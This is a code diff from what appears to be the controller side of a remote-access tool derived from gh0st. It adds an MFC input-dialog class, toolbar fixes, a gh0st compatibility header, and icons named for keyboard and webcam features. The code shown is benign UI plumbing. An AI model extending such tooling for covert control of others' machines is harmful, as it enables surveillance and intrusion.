|
// add class (none)
|
||||||
|
m_pNext = (WORD*)(&it+1);
|
||||||
|
*m_pNext++ = 0xFFFF; // next WORD is atom
|
||||||
|
*m_pNext++ = wType; // ..atom identifier
|
||||||
|
ASSERT(m_pNext < m_pEndBuf); // check not out of range
|
||||||
|
|
||||||
|
// increment control/item count
|
||||||
|
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||||
|
hdr->cdit++;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||||
|
m_pNext = AddText(m_pNext, text); // append title
|
||||||
|
*m_pNext++ = 0; // no creation data
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Add dialog item (control).
|
||||||
|
//
|
||||||
|
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||||
|
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
|
||||||
|
{
|
||||||
|
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||||
|
*m_pNext++ = 0xFFFF; // next is resource id
|
||||||
|
*m_pNext++ = wResID; // ..here it is
|
||||||
|
*m_pNext++ = 0; // no extra stuff
|
||||||
|
ASSERT(m_pNext < m_pEndBuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Append text to buffer. Convert to Unicode if necessary.
|
||||||
|
// Return pointer to next character after terminating NULL.
|
||||||
|
//
|
||||||
|
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
|
||||||
|
{
|
||||||
|
if (text) {
|
||||||
|
USES_CONVERSION;
|
||||||
|
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
|
||||||
|
buf += wcslen((WCHAR*)buf)+1;
|
||||||
|
} else {
|
||||||
|
*buf++ = 0;
|
||||||
|
}
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
|
||||||
|
// the order in which the controls are added is the TAB order.
|
||||||
|
//
|
||||||
|
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
|
||||||
|
{
|
||||||
|
const int CXDIALOG = 200; // dialog width
|
||||||
|
const int DLGMARGIN = 7; // margins all around
|
||||||
|
const int CYSTATIC = 8; // height of static text
|
||||||
|
const int CYEDIT = 12; // height of edit control
|
||||||
|
const int CYSPACE = 5; // vertical space between controls
|
||||||
|
const int CXBUTTON = 40; // button width...
|
||||||
|
const int CYBUTTON = 15; // ..and height
|
||||||
|
|
||||||
|
CDlgTemplateBuilder& dtb = m_dtb;
|
||||||
|
CRect rc(
|
||||||
|
CPoint(0,0),
|
||||||
|
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
|
||||||
|
|
||||||
|
// create dialog header
|
||||||
|
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
|
||||||
|
|
||||||
|
// shrink main rect by margins
|
||||||
|
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
|
||||||
|
|
||||||
|
// create icon if needed
|
||||||
|
if (nIDIcon) {
|
||||||
|
if (nIDIcon >= (WORD)IDI_APPLICATION) {
|
||||||
|
// if using a system icon, I load it here and set it in OnInitDialog
|
||||||
|
// because can't specify system icon in template, only icons from
|
||||||
|
// application resource file.
|
||||||
|
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
|
||||||
|
nIDIcon = 0;
|
||||||
|
} else {
|
||||||
|
m_hIcon = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The size is calculated in pixels, but it seems to work OK--???
|
||||||
|
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
|
||||||
|
CRect rcIcon(rc.TopLeft(), sz);
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
|
||||||
|
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
|
||||||
|
rc.left += sz.cx; // shrink main rect by width of icon
|
||||||
|
}
|
||||||
|
|
||||||
|
// add prompt
|
||||||
|
rc.bottom = rc.top + CYSTATIC; // height = height of static
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
|
||||||
|
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
|
||||||
|
|
||||||
|
// add edit control
|
||||||
|
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
|
||||||
|
rc.bottom = rc.top + CYEDIT; // height = height of edit control
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
|
||||||
|
|
||||||
|
// add OK button
|
||||||
|
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
|
||||||
|
rc.bottom = rc.top + CYBUTTON; // height = button height
|
||||||
|
rc.left = rc.right - CXBUTTON; // width = button width
|
||||||
|
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
|
||||||
|
|
||||||
|
// add Cancel button
|
||||||
|
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
|
||||||
|
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
|
||||||
|
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
|
||||||
|
|
||||||
|
return InitModalIndirect(pTempl, pParent);
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Initialize dialog: if I loaded a system icon, set it in static control.
|
||||||
|
//
|
||||||
|
BOOL CInputDialog::OnInitDialog()
|
||||||
|
{
|
||||||
|
if (m_hIcon) {
|
||||||
|
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
|
||||||
|
ASSERT(pStatic);
|
||||||
|
pStatic->SetIcon(m_hIcon);
|
||||||
|
}
|
||||||
|
return CDialog::OnInitDialog();
|
||||||
|
}
|
||||||
|
|
||||||
|
/////////////////
|
||||||
|
// User pressed OK: check for empty string if required flag is set.
|
||||||
|
//
|
||||||
|
void CInputDialog::OnOK()
|
||||||
|
{
|
||||||
|
UpdateData(TRUE);
|
||||||
|
if (m_bRequired && m_str.IsEmpty()) {
|
||||||
|
MessageBeep(0);
|
||||||
|
return; // don't quit dialog!
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
83
server/2015Remote/InputDlg.h
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
////////////////////////////////////////////////////////////////
|
||||||
|
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
|
||||||
|
// If this code works, it was written by Paul DiLascia.
|
||||||
|
// If not, I don't know who wrote it.
|
||||||
|
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
|
||||||
|
//
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Helper class to build a dialog template in memory. Only supports what's
|
||||||
|
// needed for CStringDialog.
|
||||||
|
//
|
||||||
|
class CDlgTemplateBuilder {
|
||||||
|
protected:
|
||||||
|
WORD* m_pBuffer; // internal buffer holds dialog template
|
||||||
|
WORD* m_pNext; // next WORD to copy stuff
|
||||||
|
WORD* m_pEndBuf; // end of buffer
|
||||||
|
|
||||||
|
// align ptr to nearest DWORD
|
||||||
|
WORD* AlignDWORD(WORD* ptr) {
|
||||||
|
ptr++; // round up to nearest DWORD
|
||||||
|
LPARAM lp = (LPARAM)ptr; // convert to long
|
||||||
|
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
|
||||||
|
return (WORD*)lp;
|
||||||
|
}
|
||||||
|
|
||||||
|
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
WORD nID, DWORD dwStyleEx);
|
||||||
|
|
||||||
|
public:
|
||||||
|
// Windows predefined atom names
|
||||||
|
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
|
||||||
|
|
||||||
|
CDlgTemplateBuilder(UINT nBufLen=1024);
|
||||||
|
~CDlgTemplateBuilder();
|
||||||
|
|
||||||
|
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
|
||||||
|
|
||||||
|
// functions to build the template
|
||||||
|
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
|
||||||
|
WORD* AddText(WORD* buf, LPCTSTR text);
|
||||||
|
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
|
||||||
|
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||||
|
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
|
||||||
|
};
|
||||||
|
|
||||||
|
//////////////////
|
||||||
|
// Class to implement a simple string input dialog. Kind of like MessageBox
|
||||||
|
// but it accepts a single string input from user. You provide the prompt. To
|
||||||
|
// use:
|
||||||
|
//
|
||||||
|
// CStringDialog dlg; // string dialog
|
||||||
|
// dlg.m_bRequired = m_bRequired; // if string is required
|
||||||
|
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
|
||||||
|
// dlg.DoModal(); // run dialog
|
||||||
|
// CString result = dlg.m_str; // whatever the user typed
|
||||||
|
//
|
||||||
|
class CInputDialog : public CDialog {
|
||||||
|
public:
|
||||||
|
CString m_str; // the string returned [in,out]
|
||||||
|
BOOL m_bRequired; // string required?
|
||||||
|
HICON m_hIcon; // icon if not supplied
|
||||||
|
|
||||||
|
CInputDialog() { }
|
||||||
|
~CInputDialog() { }
|
||||||
|
|
||||||
|
// Call this to create the template with given caption and prompt.
|
||||||
|
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
|
||||||
|
WORD nIDIcon=(WORD)IDI_QUESTION);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
|
||||||
|
enum { IDICON=1, IDEDIT }; // control IDs
|
||||||
|
|
||||||
|
// MFC virtual overrides
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
virtual void OnOK();
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
DDX_Text(pDX, IDEDIT, m_str);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
@@ -38,7 +38,9 @@ CTrueColorToolBar::~CTrueColorToolBar()
|
|||||||
|
|
||||||
|
|
||||||
BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar)
|
BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar)
|
||||||
|
//{{AFX_MSG_MAP(CTrueColorToolBar)
|
||||||
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown)
|
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown)
|
||||||
|
//}}AFX_MSG_MAP
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
@@ -113,21 +115,21 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM
|
|||||||
m_lstDropDownButton.Add(DropDownInfo);
|
m_lstDropDownButton.Add(DropDownInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, LRESULT *plr)
|
void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr)
|
||||||
{
|
{
|
||||||
NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb;
|
NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh;
|
||||||
for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
|
for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
|
||||||
|
|
||||||
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
|
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
|
||||||
|
|
||||||
if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) {
|
if (DropDownInfo.uButtonID == UINT(pnmtb->iItem)) {
|
||||||
|
|
||||||
CMenu menu;
|
CMenu menu;
|
||||||
menu.LoadMenu(DropDownInfo.uMenuID);
|
menu.LoadMenu(DropDownInfo.uMenuID);
|
||||||
CMenu* pPopup = menu.GetSubMenu(0);
|
CMenu* pPopup = menu.GetSubMenu(0);
|
||||||
|
|
||||||
CRect rc;
|
CRect rc;
|
||||||
SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc);
|
SendMessage(TB_GETRECT, (WPARAM)pnmtb->iItem, (LPARAM)&rc);
|
||||||
ClientToScreen(&rc);
|
ClientToScreen(&rc);
|
||||||
|
|
||||||
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
|
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
|
||||||
|
|||||||
@@ -62,13 +62,20 @@ private:
|
|||||||
UINT uToolBar,
|
UINT uToolBar,
|
||||||
int nBtnWidth);
|
int nBtnWidth);
|
||||||
|
|
||||||
|
// Overrides
|
||||||
|
// ClassWizard generated virtual function overrides
|
||||||
|
//{{AFX_VIRTUAL(CTrueColorToolBar)
|
||||||
|
//}}AFX_VIRTUAL
|
||||||
|
|
||||||
// Implementation
|
// Implementation
|
||||||
public:
|
public:
|
||||||
virtual ~CTrueColorToolBar();
|
virtual ~CTrueColorToolBar();
|
||||||
|
|
||||||
// Generated message map functions
|
// Generated message map functions
|
||||||
protected:
|
protected:
|
||||||
|
//{{AFX_MSG(CTrueColorToolBar)
|
||||||
afx_msg void OnToolbarDropDown(NMHDR* pnmh, LRESULT* plRes);
|
afx_msg void OnToolbarDropDown(NMHDR* pnmh, LRESULT* plRes);
|
||||||
|
//}}AFX_MSG
|
||||||
|
|
||||||
DECLARE_MESSAGE_MAP()
|
DECLARE_MESSAGE_MAP()
|
||||||
};
|
};
|
||||||
|
|||||||
35
server/2015Remote/gh0st2Remote.h
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
/************************************************************************
|
||||||
|
* @file gh0st2Remote.h
|
||||||
|
* @brief 将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar
|
||||||
|
* 还原到gh0st最初版本。
|
||||||
|
************************************************************************/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
|
typedef IOCPServer CIOCPServer;
|
||||||
|
|
||||||
|
typedef CONTEXT_OBJECT ClientContext;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DWORD dwSizeHigh;
|
||||||
|
DWORD dwSizeLow;
|
||||||
|
}FILESIZE;
|
||||||
|
|
||||||
|
#define m_DeCompressionBuffer InDeCompressedBuffer
|
||||||
|
|
||||||
|
#define GetBufferLen GetBufferLength
|
||||||
|
|
||||||
|
#define m_Dialog hDlg
|
||||||
|
|
||||||
|
#define m_Socket sClientSocket
|
||||||
|
|
||||||
|
#define Send OnClientPreSending
|
||||||
|
|
||||||
|
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||||
|
|
||||||
|
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
|
||||||
|
#define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度
|
||||||
|
#define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度
|
||||||
BIN
server/2015Remote/res/1.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/2.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/3.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/4.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/Bitmap_4.bmp
Normal file
|
After Width: | Height: | Size: 10 KiB |
BIN
server/2015Remote/res/Bitmap_5.bmp
Normal file
|
After Width: | Height: | Size: 10 KiB |
BIN
server/2015Remote/res/dot.cur
Normal file
|
After Width: | Height: | Size: 326 B |
BIN
server/2015Remote/res/gh0st.ico
Normal file
|
After Width: | Height: | Size: 766 B |
13
server/2015Remote/res/gh0st.rc2
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
//
|
||||||
|
// GH0ST.RC2 - resources Microsoft Visual C++ does not edit directly
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#error this file is not editable by Microsoft Visual C++
|
||||||
|
#endif //APSTUDIO_INVOKED
|
||||||
|
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
// Add manually edited resources here...
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
BIN
server/2015Remote/res/keyboard.ico
Normal file
|
After Width: | Height: | Size: 766 B |
BIN
server/2015Remote/res/system.ico
Normal file
|
After Width: | Height: | Size: 766 B |
BIN
server/2015Remote/res/toolbar1.bmp
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
server/2015Remote/res/toolbar2.bmp
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
server/2015Remote/res/webcam.ico
Normal file
|
After Width: | Height: | Size: 24 KiB |